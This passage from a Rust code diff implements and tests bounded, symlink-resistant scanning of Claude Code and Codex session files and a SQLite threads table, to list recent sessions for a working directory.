assert_eq!(found.native_id, winner.to_string());
|
||||
assert_eq!(found.source, ForeignSessionSource::ClaudeCode);
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn recent_probe_bounds_content_reads() {
|
||||
let root = TempDir::new().unwrap();
|
||||
let cwd = root.path().join("repo");
|
||||
fs::create_dir_all(&cwd).unwrap();
|
||||
let project = scoped_project(root.path(), &cwd);
|
||||
let now = UNIX_EPOCH + Duration::from_secs(3_100_000);
|
||||
for i in 0..MAX_RECENT_CONTENT_READS {
|
||||
write_session(
|
||||
&project,
|
||||
uuid::Uuid::from_u128(100 + i as u128),
|
||||
&[user(Path::new("/other"), "wrong cwd")],
|
||||
now - Duration::from_secs(i as u64),
|
||||
);
|
||||
}
|
||||
write_session(
|
||||
&project,
|
||||
uuid::Uuid::from_u128(999),
|
||||
&[user(&cwd, "outside read budget")],
|
||||
now - Duration::from_secs(MAX_RECENT_CONTENT_READS as u64),
|
||||
);
|
||||
|
||||
assert_eq!(
|
||||
most_recent_in_config_dir(root.path(), &cwd, now, Duration::from_secs(600)),
|
||||
RecentProbe::Incomplete,
|
||||
);
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn recent_probe_fails_closed_at_directory_entry_cap() {
|
||||
let root = TempDir::new().unwrap();
|
||||
let cwd = root.path().join("repo");
|
||||
fs::create_dir_all(&cwd).unwrap();
|
||||
let project = scoped_project(root.path(), &cwd);
|
||||
let now = UNIX_EPOCH + Duration::from_secs(3_200_000);
|
||||
write_session(
|
||||
&project,
|
||||
uuid::Uuid::from_u128(1_500),
|
||||
&[user(&cwd, "must not win after incomplete discovery")],
|
||||
now,
|
||||
);
|
||||
for index in 0..MAX_RECENT_DIRECTORY_ENTRIES {
|
||||
fs::write(project.join(format!("junk-{index:03}")), "").unwrap();
|
||||
}
|
||||
|
||||
assert_eq!(
|
||||
most_recent_in_config_dir(root.path(), &cwd, now, Duration::from_secs(600)),
|
||||
RecentProbe::Incomplete,
|
||||
);
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn filters_bad_rows_and_uses_newest_duplicate_with_title_precedence() {
|
||||
let (_tempdir, root) = canonical_tempdir();
|
||||
let cwd = root.join("repo");
|
||||
fs::create_dir_all(&cwd).unwrap();
|
||||
let now = UNIX_EPOCH + Duration::from_secs(4_000_000);
|
||||
let projects = root.join("projects");
|
||||
let duplicate = uuid::Uuid::from_u128(1);
|
||||
|
||||
write_session(
|
||||
&projects.join("old"),
|
||||
duplicate,
|
||||
&[
|
||||
user(&cwd, "first prompt"),
|
||||
json!({"type": "custom-title", "customTitle": "old title"}),
|
||||
],
|
||||
now - Duration::from_secs(20),
|
||||
);
|
||||
write_session(
|
||||
&projects.join("new"),
|
||||
duplicate,
|
||||
&[
|
||||
user(&cwd, "first prompt"),
|
||||
json!({"summary": "summary"}),
|
||||
json!({"lastPrompt": "last prompt"}),
|
||||
json!({"aiTitle": "ai title"}),
|
||||
json!({"customTitle": "custom title", "gitBranch": "feature"}),
|
||||
],
|
||||
now - Duration::from_secs(10),
|
||||
);
|
||||
write_session(
|
||||
&projects.join("unreadable-newest"),
|
||||
duplicate,
|
||||
&[user(Path::new("/other"), "newest wrong cwd")],
|
||||
now,
|
||||
);
|
||||
write_session(
|
||||
&projects.join("sidechain"),
|
||||
uuid::Uuid::from_u128(2),
|
||||
&[json!({
|
||||
"type": "user",
|
||||
"cwd": cwd.display().to_string(),
|
||||
"isSidechain": true,
|
||||
"message": {"content": "hidden"}
|
||||
})],
|
||||
now,
|
||||
);
|
||||
write_session(
|
||||
&projects.join("no-title"),
|
||||
uuid::Uuid::from_u128(3),
|
||||
&[json!({"type": "system", "cwd": cwd.display().to_string()})],
|
||||
now,
|
||||
);
|
||||
write_session(
|
||||
&projects.join("wrong-cwd"),
|
||||
uuid::Uuid::from_u128(4),
|
||||
&[user(Path::new("/other"), "wrong")],
|
||||
now,
|
||||
);
|
||||
write_session(
|
||||
&projects.join("stale"),
|
||||
uuid::Uuid::from_u128(5),
|
||||
&[user(&cwd, "stale")],
|
||||
now - MAX_SESSION_AGE - Duration::from_secs(1),
|
||||
);
|
||||
let zero_dir = projects.join("zero");
|
||||
fs::create_dir_all(&zero_dir).unwrap();
|
||||
fs::write(
|
||||
zero_dir.join(format!("{}.jsonl", uuid::Uuid::from_u128(6))),
|
||||
"",
|
||||
)
|
||||
.unwrap();
|
||||
fs::create_dir_all(projects.join("nested").join("subagents")).unwrap();
|
||||
fs::write(
|
||||
projects
|
||||
.join("nested")
|
||||
.join("subagents")
|
||||
.join(format!("{}.jsonl", uuid::Uuid::from_u128(7))),
|
||||
user(&cwd, "nested").to_string(),
|
||||
)
|
||||
.unwrap();
|
||||
|
||||
let project_dirs = fs::read_dir(&projects)
|
||||
.unwrap()
|
||||
.flatten()
|
||||
.filter(|entry| entry.file_type().is_ok_and(|kind| kind.is_dir()))
|
||||
.map(|entry| entry.path())
|
||||
.collect::<Vec<_>>();
|
||||
let approved_root = ApprovedRoot::new(&root).unwrap();
|
||||
let sessions = scan_project_dirs(&approved_root, &project_dirs, &cwd, now);
|
||||
assert_eq!(sessions.len(), 1);
|
||||
assert_eq!(sessions[0].native_id, duplicate.to_string());
|
||||
assert_eq!(sessions[0].title, "custom title");
|
||||
assert_eq!(sessions[0].branch.as_deref(), Some("feature"));
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn bounds_results_and_orders_ties_by_id() {
|
||||
let root = TempDir::new().unwrap();
|
||||
let cwd = root.path().join("repo");
|
||||
fs::create_dir_all(&cwd).unwrap();
|
||||
let now = UNIX_EPOCH + Duration::from_secs(5_000_000);
|
||||
let project = scoped_project(root.path(), &cwd);
|
||||
for i in 1..=55_u128 {
|
||||
write_session(
|
||||
&project,
|
||||
uuid::Uuid::from_u128(i),
|
||||
&[user(&cwd, &format!("prompt {i}"))],
|
||||
now - Duration::from_secs((i / 2) as u64),
|
||||
);
|
||||
}
|
||||
|
||||
let sessions = scan_in_config_dir(root.path(), &cwd, now);
|
||||
assert_eq!(sessions.len(), MAX_SESSIONS_PER_TOOL);
|
||||
assert!(
|
||||
sessions
|
||||
.windows(2)
|
||||
.all(|pair| pair[0].updated_at > pair[1].updated_at
|
||||
|| (pair[0].updated_at == pair[1].updated_at
|
||||
&& pair[0].native_id < pair[1].native_id))
|
||||
);
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn skips_meta_and_tool_noise_for_first_prompt() {
|
||||
let root = TempDir::new().unwrap();
|
||||
let cwd = root.path().join("repo");
|
||||
fs::create_dir_all(&cwd).unwrap();
|
||||
let now = UNIX_EPOCH + Duration::from_secs(6_000_000);
|
||||
write_session(
|
||||
&scoped_project(root.path(), &cwd),
|
||||
uuid::Uuid::from_u128(100),
|
||||
&[
|
||||
json!({
|
||||
"type": "user",
|
||||
"cwd": cwd.display().to_string(),
|
||||
"isMeta": true,
|
||||
"message": {"content": "meta"}
|
||||
}),
|
||||
json!({
|
||||
"type": "user",
|
||||
"message": {"content": [{"type": "tool_result", "content": "noise"}]}
|
||||
}),
|
||||
json!({
|
||||
"type": "user",
|
||||
"message": {"content": "<command-name>review</command-name>"}
|
||||
}),
|
||||
json!({
|
||||
"type": "user",
|
||||
"message": {"content": "real prompt"}
|
||||
}),
|
||||
],
|
||||
now,
|
||||
);
|
||||
|
||||
let sessions = scan_in_config_dir(root.path(), &cwd, now);
|
||||
assert_eq!(sessions[0].title, "real prompt");
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn scoped_scan_keeps_newest_over_budget_and_rejects_symlinks() {
|
||||
let root = TempDir::new().unwrap();
|
||||
let cwd = root.path().join("repo");
|
||||
fs::create_dir_all(&cwd).unwrap();
|
||||
let now = UNIX_EPOCH + Duration::from_secs(7_000_000);
|
||||
let project = scoped_project(root.path(), &cwd);
|
||||
for i in 0..520_u128 {
|
||||
write_session(
|
||||
&project,
|
||||
uuid::Uuid::from_u128(1_000 + i),
|
||||
&[user(Path::new("/other"), "wrong cwd")],
|
||||
now - Duration::from_secs(i as u64 + 1),
|
||||
);
|
||||
}
|
||||
let valid = uuid::Uuid::from_u128(2_000);
|
||||
write_session(
|
||||
&project,
|
||||
valid,
|
||||
&[user(&cwd, "valid after invalid rows")],
|
||||
now,
|
||||
);
|
||||
write_session(
|
||||
&project,
|
||||
uuid::Uuid::from_u128(2_003),
|
||||
&[user(&cwd, "arbitrary future mtime")],
|
||||
now + Duration::from_secs(24 * 60 * 60),
|
||||
);
|
||||
write_session(
|
||||
&root.path().join("projects").join("unrelated"),
|
||||
uuid::Uuid::from_u128(2_001),
|
||||
&[user(&cwd, "must not scan unrelated project")],
|
||||
now,
|
||||
);
|
||||
|
||||
#[cfg(unix)]
|
||||
{
|
||||
let outside = root.path().join("outside.jsonl");
|
||||
fs::write(&outside, user(&cwd, "symlink escape").to_string()).unwrap();
|
||||
std::os::unix::fs::symlink(
|
||||
outside,
|
||||
project.join(format!("{}.jsonl", uuid::Uuid::from_u128(2_002))),
|
||||
)
|
||||
.unwrap();
|
||||
}
|
||||
|
||||
let sessions = scan_in_config_dir(root.path(), &cwd, now);
|
||||
assert_eq!(sessions.len(), 1);
|
||||
assert_eq!(sessions[0].native_id, valid.to_string());
|
||||
assert_eq!(sessions[0].title, "valid after invalid rows");
|
||||
|
||||
let long = PathBuf::from(format!(
|
||||
"/{}",
|
||||
"a".repeat(projects::MAX_SANITIZED_LENGTH + 1)
|
||||
));
|
||||
assert_eq!(projects::project_dir_for_path(root.path(), &long), None);
|
||||
}
|
||||
|
||||
#[cfg(unix)]
|
||||
#[test]
|
||||
fn rejects_project_parent_symlink_escape() {
|
||||
let config = TempDir::new().unwrap();
|
||||
let outside = TempDir::new().unwrap();
|
||||
let cwd = config.path().join("repo");
|
||||
fs::create_dir_all(&cwd).unwrap();
|
||||
let now = UNIX_EPOCH + Duration::from_secs(7_500_000);
|
||||
let project = scoped_project(outside.path(), &cwd);
|
||||
write_session(
|
||||
&project,
|
||||
uuid::Uuid::from_u128(2_100),
|
||||
&[user(&cwd, "outside parent")],
|
||||
now,
|
||||
);
|
||||
std::os::unix::fs::symlink(
|
||||
outside.path().join("projects"),
|
||||
config.path().join("projects"),
|
||||
)
|
||||
.unwrap();
|
||||
|
||||
assert!(scan_in_config_dir(config.path(), &cwd, now).is_empty());
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn linked_worktree_scope_includes_main_and_siblings() {
|
||||
let root = TempDir::new().unwrap();
|
||||
let main = root.path().join("main");
|
||||
fs::create_dir_all(&main).unwrap();
|
||||
let repository = git2::Repository::init(&main).unwrap();
|
||||
let signature = git2::Signature::now("test", "test@example.com").unwrap();
|
||||
let tree = {
|
||||
let mut index = repository.index().unwrap();
|
||||
let oid = index.write_tree().unwrap();
|
||||
repository.find_tree(oid).unwrap()
|
||||
};
|
||||
repository
|
||||
.commit(Some("HEAD"), &signature, &signature, "init", &tree, &[])
|
||||
.unwrap();
|
||||
drop(tree);
|
||||
let linked = root.path().join("linked");
|
||||
let sibling = root.path().join("sibling");
|
||||
repository.worktree("linked", &linked, None).unwrap();
|
||||
repository.worktree("sibling", &sibling, None).unwrap();
|
||||
let main_project = scoped_project(root.path(), &dunce::canonicalize(&main).unwrap());
|
||||
let linked_project = scoped_project(root.path(), &dunce::canonicalize(&linked).unwrap());
|
||||
let sibling_project = scoped_project(root.path(), &dunce::canonicalize(&sibling).unwrap());
|
||||
|
||||
let project_dirs =
|
||||
projects::scoped_project_dirs(root.path(), &dunce::canonicalize(&linked).unwrap());
|
||||
assert!(project_dirs.contains(&main_project));
|
||||
assert!(project_dirs.contains(&linked_project));
|
||||
assert!(project_dirs.contains(&sibling_project));
|
||||
}
|
||||
@@ -0,0 +1,121 @@
|
||||
use std::fs;
|
||||
use std::path::{Path, PathBuf};
|
||||
use std::time::{Duration, SystemTime};
|
||||
|
||||
use filetime::FileTime;
|
||||
use serde_json::json;
|
||||
use tempfile::TempDir;
|
||||
|
||||
use super::*;
|
||||
|
||||
struct Fixture {
|
||||
_root: TempDir,
|
||||
config: PathBuf,
|
||||
cwd: PathBuf,
|
||||
project: PathBuf,
|
||||
}
|
||||
|
||||
fn fixture() -> Fixture {
|
||||
let root = TempDir::new().unwrap();
|
||||
let config = root.path().join("config");
|
||||
let cwd = root.path().join("repo");
|
||||
fs::create_dir_all(&config).unwrap();
|
||||
fs::create_dir_all(&cwd).unwrap();
|
||||
let config = dunce::canonicalize(config).unwrap();
|
||||
let cwd = dunce::canonicalize(cwd).unwrap();
|
||||
let project = projects::project_dir_path(&config, &cwd).unwrap();
|
||||
Fixture {
|
||||
_root: root,
|
||||
config,
|
||||
cwd,
|
||||
project,
|
||||
}
|
||||
}
|
||||
|
||||
fn write_session(project: &Path, cwd: &Path, id: uuid::Uuid, modified: SystemTime) {
|
||||
fs::create_dir_all(project).unwrap();
|
||||
let path = project.join(format!("{id}.jsonl"));
|
||||
fs::write(
|
||||
&path,
|
||||
format!(
|
||||
"{}\n",
|
||||
json!({
|
||||
"type": "user",
|
||||
"cwd": cwd,
|
||||
"message": {"role": "user", "content": "recent work"},
|
||||
})
|
||||
),
|
||||
)
|
||||
.unwrap();
|
||||
filetime::set_file_mtime(&path, FileTime::from_system_time(modified)).unwrap();
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn recent_probe_finds_valid_session() {
|
||||
let fixture = fixture();
|
||||
let now = SystemTime::now();
|
||||
let id = uuid::Uuid::from_u128(1);
|
||||
write_session(&fixture.project, &fixture.cwd, id, now);
|
||||
|
||||
assert_eq!(
|
||||
most_recent_in_config_dir(&fixture.config, &fixture.cwd, now, Duration::from_secs(600),)
|
||||
.unwrap()
|
||||
.native_id,
|
||||
id.to_string(),
|
||||
);
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn recent_probe_missing_project_is_complete_empty() {
|
||||
let fixture = fixture();
|
||||
assert_eq!(
|
||||
most_recent_in_config_dir(
|
||||
&fixture.config,
|
||||
&fixture.cwd,
|
||||
SystemTime::now(),
|
||||
Duration::from_secs(600),
|
||||
),
|
||||
RecentProbe::Complete(None),
|
||||
);
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn recent_probe_directory_limit_is_incomplete() {
|
||||
let fixture = fixture();
|
||||
let now = SystemTime::now();
|
||||
write_session(
|
||||
&fixture.project,
|
||||
&fixture.cwd,
|
||||
uuid::Uuid::from_u128(2),
|
||||
now,
|
||||
);
|
||||
for index in 0..MAX_RECENT_DIRECTORY_ENTRIES {
|
||||
fs::write(fixture.project.join(format!("junk-{index:03}")), "").unwrap();
|
||||
}
|
||||
|
||||
assert_eq!(
|
||||
most_recent_in_config_dir(&fixture.config, &fixture.cwd, now, Duration::from_secs(600),),
|
||||
RecentProbe::Incomplete,
|
||||
);
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn recent_probe_rejects_reparse_project_directory_when_supported() {
|
||||
let fixture = fixture();
|
||||
let outside = fixture._root.path().join("outside-project");
|
||||
fs::create_dir_all(&outside).unwrap();
|
||||
fs::create_dir_all(fixture.project.parent().unwrap()).unwrap();
|
||||
if std::os::windows::fs::symlink_dir(&outside, &fixture.project).is_err() {
|
||||
return;
|
||||
}
|
||||
|
||||
assert_eq!(
|
||||
most_recent_in_config_dir(
|
||||
&fixture.config,
|
||||
&fixture.cwd,
|
||||
SystemTime::now(),
|
||||
Duration::from_secs(600),
|
||||
),
|
||||
RecentProbe::Incomplete,
|
||||
);
|
||||
}
|
||||
@@ -0,0 +1,291 @@
|
||||
use std::collections::HashSet;
|
||||
use std::path::Path;
|
||||
use std::time::{Duration, SystemTime};
|
||||
|
||||
use rusqlite::{Connection, params};
|
||||
|
||||
use super::super::{
|
||||
ApprovedRoot, ForeignSessionSummary, ForeignSessionTool, MAX_SESSION_AGE,
|
||||
MAX_SESSIONS_PER_TOOL, RecentCandidate, is_within, millis_bounds, normalize_title,
|
||||
open_sqlite_transaction, system_time_from_millis,
|
||||
};
|
||||
use super::{existing_rollout_path, source_from_persisted, title};
|
||||
|
||||
const MAX_DB_CANDIDATES: usize = 200;
|
||||
pub(super) const MAX_RECENT_DB_CANDIDATES: usize = 8;
|
||||
const MIN_EPOCH_MILLIS: i64 = 1_577_836_800_000;
|
||||
const MAX_ID_BYTES: usize = 64;
|
||||
const MAX_PATH_BYTES: usize = 16 * 1024;
|
||||
const MAX_TEXT_BYTES: usize = 64 * 1024;
|
||||
const MAX_BRANCH_BYTES: usize = 4 * 1024;
|
||||
|
||||
struct DbCandidate {
|
||||
id: String,
|
||||
rollout_path: String,
|
||||
updated_at: i64,
|
||||
source: String,
|
||||
stored_cwd: String,
|
||||
title: String,
|
||||
first_user_message: String,
|
||||
branch: Option<String>,
|
||||
}
|
||||
|
||||
pub(super) enum RecentDatabaseResult {
|
||||
Unusable,
|
||||
Incomplete,
|
||||
Usable(Option<RecentCandidate>),
|
||||
}
|
||||
|
||||
pub(super) fn scan_database(
|
||||
root: &ApprovedRoot,
|
||||
db_path: &Path,
|
||||
cwd: &Path,
|
||||
now: SystemTime,
|
||||
) -> Option<Vec<ForeignSessionSummary>> {
|
||||
let bounds = millis_bounds(now, MAX_SESSION_AGE)?;
|
||||
let cwd_string = cwd.to_str()?.to_owned();
|
||||
if cwd_string.len() > MAX_PATH_BYTES {
|
||||
return None;
|
||||
}
|
||||
let database = open_sqlite_transaction(root, db_path)?;
|
||||
let columns = table_columns(&database, "threads")?;
|
||||
let sql = scan_sql(&columns)?;
|
||||
let rows = query_candidates(&database, &sql, &cwd_string, bounds)?;
|
||||
let mut sessions = Vec::new();
|
||||
for row in rows {
|
||||
let Some(candidate) =
|
||||
qualify_candidate(root, cwd, now, MAX_SESSION_AGE, &row, source_from_persisted)
|
||||
else {
|
||||
continue;
|
||||
};
|
||||
let Some(title) = title(&row.title, &row.first_user_message) else {
|
||||
continue;
|
||||
};
|
||||
sessions.push(ForeignSessionSummary {
|
||||
tool: ForeignSessionTool::Codex,
|
||||
source: candidate.source,
|
||||
native_id: candidate.native_id,
|
||||
title,
|
||||
cwd: Path::new(&row.stored_cwd).to_path_buf(),
|
||||
updated_at: candidate.updated_at,
|
||||
branch: row.branch.as_deref().and_then(normalize_title),
|
||||
});
|
||||
if sessions.len() == MAX_SESSIONS_PER_TOOL {
|
||||
break;
|
||||
}
|
||||
}
|
||||
Some(sessions)
|
||||
}
|
||||
|
||||
pub(super) fn most_recent_database(
|
||||
root: &ApprovedRoot,
|
||||
db_path: &Path,
|
||||
cwd: &Path,
|
||||
now: SystemTime,
|
||||
within: Duration,
|
||||
) -> RecentDatabaseResult {
|
||||
let Some(bounds) = millis_bounds(now, within) else {
|
||||
return RecentDatabaseResult::Unusable;
|
||||
};
|
||||
let Some(cwd_string) = cwd.to_str().map(str::to_owned) else {
|
||||
return RecentDatabaseResult::Unusable;
|
||||
};
|
||||
if cwd_string.len() > MAX_PATH_BYTES {
|
||||
return RecentDatabaseResult::Unusable;
|
||||
}
|
||||
let Some(database) = open_sqlite_transaction(root, db_path) else {
|
||||
return RecentDatabaseResult::Unusable;
|
||||
};
|
||||
let Some(columns) = table_columns(&database, "threads") else {
|
||||
return RecentDatabaseResult::Unusable;
|
||||
};
|
||||
let Some(sql) = recent_scan_sql(&columns) else {
|
||||
return RecentDatabaseResult::Unusable;
|
||||
};
|
||||
let Ok(mut rows) = query_recent_candidates(&database, &sql, &cwd_string, bounds) else {
|
||||
return RecentDatabaseResult::Incomplete;
|
||||
};
|
||||
let truncated = rows.len() > MAX_RECENT_DB_CANDIDATES;
|
||||
rows.truncate(MAX_RECENT_DB_CANDIDATES);
|
||||
let candidate = rows
|
||||
.into_iter()
|
||||
.find_map(|row| qualify_candidate(root, cwd, now, within, &row, super::source_from_str));
|
||||
if candidate.is_none() && truncated {
|
||||
RecentDatabaseResult::Incomplete
|
||||
} else {
|
||||
RecentDatabaseResult::Usable(candidate)
|
||||
}
|
||||
}
|
||||
|
||||
fn query_candidates(
|
||||
database: &Connection,
|
||||
sql: &str,
|
||||
cwd: &str,
|
||||
(oldest_millis, newest_millis): (i64, i64),
|
||||
) -> Option<Vec<DbCandidate>> {
|
||||
let mut statement = database.prepare(sql).ok()?;
|
||||
let rows = statement
|
||||
.query_map(
|
||||
params![cwd, oldest_millis, newest_millis],
|
||||
decode_candidate_row,
|
||||
)
|
||||
.ok()?;
|
||||
Some(rows.flatten().collect())
|
||||
}
|
||||
|
||||
fn query_recent_candidates(
|
||||
database: &Connection,
|
||||
sql: &str,
|
||||
cwd: &str,
|
||||
(oldest_millis, newest_millis): (i64, i64),
|
||||
) -> Result<Vec<DbCandidate>, ()> {
|
||||
let mut statement = database.prepare(sql).map_err(|_| ())?;
|
||||
let rows = statement
|
||||
.query_map(
|
||||
params![cwd, oldest_millis, newest_millis],
|
||||
decode_candidate_row,
|
||||
)
|
||||
.map_err(|_| ())?;
|
||||
rows.collect::<rusqlite::Result<Vec<_>>>().map_err(|_| ())
|
||||
}
|
||||
|
||||
fn decode_candidate_row(row: &rusqlite::Row<'_>) -> rusqlite::Result<DbCandidate> {
|
||||
Ok(DbCandidate {
|
||||
id: row.get(0)?,
|
||||
rollout_path: row.get(1)?,
|
||||
updated_at: row.get(2)?,
|
||||
source: row.get(3)?,
|
||||
stored_cwd: row.get(4)?,
|
||||
title: row.get(5)?,
|
||||
first_user_message: row.get(6)?,
|
||||
branch: row.get(7)?,
|
||||
})
|
||||
}
|
||||
|
||||
fn qualify_candidate(
|
||||
root: &ApprovedRoot,
|
||||
cwd: &Path,
|
||||
now: SystemTime,
|
||||
within: Duration,
|
||||
row: &DbCandidate,
|
||||
parse_source: impl Fn(&str) -> Option<super::super::ForeignSessionSource>,
|
||||
) -> Option<RecentCandidate> {
|
||||
if uuid::Uuid::try_parse(&row.id).is_err() || Path::new(&row.stored_cwd) != cwd {
|
||||
return None;
|
||||
}
|
||||
let source = parse_source(&row.source)?;
|
||||
let updated_at = normalize_updated_at(row.updated_at)?;
|
||||
if !is_within(updated_at, now, within)
|
||||
|| existing_rollout_path(root, &row.rollout_path, &row.id).is_none()
|
||||
{
|
||||
return None;
|
||||
}
|
||||
Some(RecentCandidate {
|
||||
tool: ForeignSessionTool::Codex,
|
||||
source,
|
||||
native_id: row.id.clone(),
|
||||
updated_at,
|
||||
})
|
||||
}
|
||||
|
||||
pub(super) fn normalize_updated_at(value: i64) -> Option<SystemTime> {
|
||||
let millis = if value < MIN_EPOCH_MILLIS {
|
||||
value.saturating_mul(1_000)
|
||||
} else {
|
||||
value
|
||||
};
|
||||
system_time_from_millis(millis)
|
||||
}
|
||||
|
||||
pub(super) fn scan_sql(columns: &HashSet<String>) -> Option<String> {
|
||||
scan_sql_with_limit(
|
||||
columns,
|
||||
MAX_DB_CANDIDATES,
|
||||
"('cli', 'vscode', '{\"custom\":\"atlas\"}', '{\"custom\":\"chatgpt\"}')",
|
||||
)
|
||||
}
|
||||
|
||||
pub(super) fn recent_scan_sql(columns: &HashSet<String>) -> Option<String> {
|
||||
scan_sql_with_limit(columns, MAX_RECENT_DB_CANDIDATES + 1, "('cli', 'vscode')")
|
||||
}
|
||||
|
||||
fn scan_sql_with_limit(
|
||||
columns: &HashSet<String>,
|
||||
limit: usize,
|
||||
allowed_sources: &str,
|
||||
) -> Option<String> {
|
||||
for required in ["id", "rollout_path", "source", "cwd", "archived"] {
|
||||
if !columns.contains(required) {
|
||||
return None;
|
||||
}
|
||||
}
|
||||
let updated_column = if columns.contains("updated_at_ms") {
|
||||
"updated_at_ms"
|
||||
} else if columns.contains("updated_at") {
|
||||
"updated_at"
|
||||
} else {
|
||||
return None;
|
||||
};
|
||||
let title_column = if columns.contains("title") {
|
||||
"title"
|
||||
} else {
|
||||
"''"
|
||||
};
|
||||
let first_user_message = if columns.contains("first_user_message") {
|
||||
"first_user_message"
|
||||
} else {
|
||||
"''"
|
||||
};
|
||||
let git_branch = if columns.contains("git_branch") {
|
||||
"git_branch"
|
||||
} else {
|
||||
"NULL"
|
||||
};
|
||||
let title_projection = format!(
|
||||
"CASE WHEN typeof({title_column}) = 'text' \
|
||||
AND octet_length({title_column}) <= {MAX_TEXT_BYTES} \
|
||||
THEN {title_column} ELSE '' END"
|
||||
);
|
||||
let first_projection = format!(
|
||||
"CASE WHEN typeof({first_user_message}) = 'text' \
|
||||
AND octet_length({first_user_message}) <= {MAX_TEXT_BYTES} \
|
||||
THEN {first_user_message} ELSE '' END"
|
||||
);
|
||||
let branch_projection = format!(
|
||||
"CASE WHEN typeof({git_branch}) = 'text' \
|
||||
AND octet_length({git_branch}) <= {MAX_BRANCH_BYTES} \
|
||||
THEN {git_branch} ELSE NULL END"
|
||||
);
|
||||
Some(format!(
|
||||
"SELECT id, rollout_path, {updated_column}, source, cwd, \
|
||||
{title_projection}, {first_projection}, {branch_projection} \
|
||||
FROM threads \
|
||||
WHERE typeof(id) = 'text' \
|
||||
AND typeof(rollout_path) = 'text' \
|
||||
AND typeof({updated_column}) = 'integer' \
|
||||
AND typeof(archived) = 'integer' \
|
||||
AND archived = 0 AND cwd = ?1 \
|
||||
AND source IN {allowed_sources} \
|
||||
AND octet_length(id) <= {MAX_ID_BYTES} \
|
||||
AND octet_length(rollout_path) <= {MAX_PATH_BYTES} \
|
||||
AND CASE \
|
||||
WHEN {updated_column} < {MIN_EPOCH_MILLIS} THEN {updated_column} * 1000 \
|
||||
ELSE {updated_column} \
|
||||
END BETWEEN ?2 AND ?3 \
|
||||
ORDER BY CASE \
|
||||
WHEN {updated_column} < {MIN_EPOCH_MILLIS} THEN {updated_column} * 1000 \
|
||||
ELSE {updated_column} \
|
||||
END DESC, id ASC LIMIT {limit}"
|
||||
))
|
||||
}
|
||||
|
||||
fn table_columns(connection: &Connection, table: &str) -> Option<HashSet<String>> {
|
||||
let mut statement = connection
|
||||
.prepare(&format!("PRAGMA table_info({table})"))
|
||||
.ok()?;
|
||||
let rows = statement
|
||||
.query_map([], |row| row.get::<_, String>(1))
|
||||
.ok()?;
|
||||
let columns = rows.flatten().collect::<HashSet<_>>();
|
||||
(!columns.is_empty()).then_some(columns)
|
||||
}
|
||||
@@ -0,0 +1,359 @@
|
||||
use std::collections::HashSet;
|
||||
use std::io::{BufRead, BufReader, Read};
|
||||
use std::path::{Path, PathBuf};
|
||||
use std::time::{Duration, SystemTime};
|
||||
|
||||
use chrono::{DateTime, Datelike, Days, Local, TimeDelta, Utc};
|
||||
use serde_json::Value;
|
||||
|
||||
use super::super::{
|
||||
ApprovedRoot, ForeignSessionSource, ForeignSessionSummary, ForeignSessionTool, MAX_SESSION_AGE,
|
||||
MAX_SESSIONS_PER_TOOL, RecentCandidate, RecentProbe, is_within, normalize_title,
|
||||
retain_top_k_by,
|
||||
};
|
||||
use super::{rollout_id, source_from_value, title};
|
||||
|
||||
const DAYS_IN_WINDOW: usize = 31;
|
||||
const MAX_DATE_DIRS: usize = 32;
|
||||
const MAX_METADATA_READS: usize = 128;
|
||||
const MAX_RECENT_METADATA_READS: usize = 16;
|
||||
pub(super) const MAX_RECENT_DIRECTORY_ENTRIES: usize = 64;
|
||||
const MAX_HEAD_RECORDS: usize = 10;
|
||||
pub(super) const MAX_HEAD_BYTES: usize = 64 * 1024;
|
||||
// Bound compressed work separately from the decoded head and decoder window.
|
||||
pub(super) const MAX_COMPRESSED_HEAD_BYTES: usize = 256 * 1024;
|
||||
pub(super) const MAX_ZSTD_WINDOW_LOG: u32 = 23;
|
||||
|
||||
struct Candidate {
|
||||
root: ApprovedRoot,
|
||||
path: PathBuf,
|
||||
id: String,
|
||||
modified: SystemTime,
|
||||
}
|
||||
|
||||
#[derive(Default)]
|
||||
struct HeadMetadata {
|
||||
id: Option<uuid::Uuid>,
|
||||
cwd: Option<String>,
|
||||
source: Option<ForeignSessionSource>,
|
||||
branch: Option<String>,
|
||||
first_user_message: Option<String>,
|
||||
}
|
||||
|
||||
pub(super) fn scan_rollouts(
|
||||
codex_root: &ApprovedRoot,
|
||||
cwd: &Path,
|
||||
now: SystemTime,
|
||||
) -> Vec<ForeignSessionSummary> {
|
||||
let Some(root) = codex_root.subroot(Path::new("sessions")) else {
|
||||
return Vec::new();
|
||||
};
|
||||
let candidates = collect_candidates(&root, now, MAX_SESSION_AGE, MAX_METADATA_READS);
|
||||
let mut accepted_ids = HashSet::new();
|
||||
let mut sessions = Vec::new();
|
||||
for candidate in candidates {
|
||||
if accepted_ids.contains(&candidate.id) {
|
||||
continue;
|
||||
}
|
||||
let Some(session) = read_candidate(candidate, cwd) else {
|
||||
continue;
|
||||
};
|
||||
accepted_ids.insert(session.native_id.clone());
|
||||
sessions.push(session);
|
||||
if sessions.len() == MAX_SESSIONS_PER_TOOL {
|
||||
break;
|
||||
}
|
||||
}
|
||||
sessions
|
||||
}
|
||||
|
||||
pub(super) fn most_recent_rollout(
|
||||
codex_root: &ApprovedRoot,
|
||||
cwd: &Path,
|
||||
now: SystemTime,
|
||||
within: Duration,
|
||||
) -> RecentProbe<RecentCandidate> {
|
||||
let sessions_path = codex_root.join("sessions");
|
||||
match std::fs::symlink_metadata(&sessions_path) {
|
||||
Err(error) if error.kind() == std::io::ErrorKind::NotFound => {
|
||||
return RecentProbe::Complete(None);
|
||||
}
|
||||
Err(_) => return RecentProbe::Incomplete,
|
||||
Ok(_) => {}
|
||||
}
|
||||
let Some(root) = codex_root.subroot(&sessions_path) else {
|
||||
return RecentProbe::Incomplete;
|
||||
};
|
||||
let Some((candidates, truncated)) = collect_recent_candidates(&root, now, within) else {
|
||||
return RecentProbe::Incomplete;
|
||||
};
|
||||
let candidate = candidates.into_iter().find_map(|candidate| {
|
||||
let (_, source, _) = qualify_candidate(&candidate, cwd)?;
|
||||
if !matches!(
|
||||
source,
|
||||
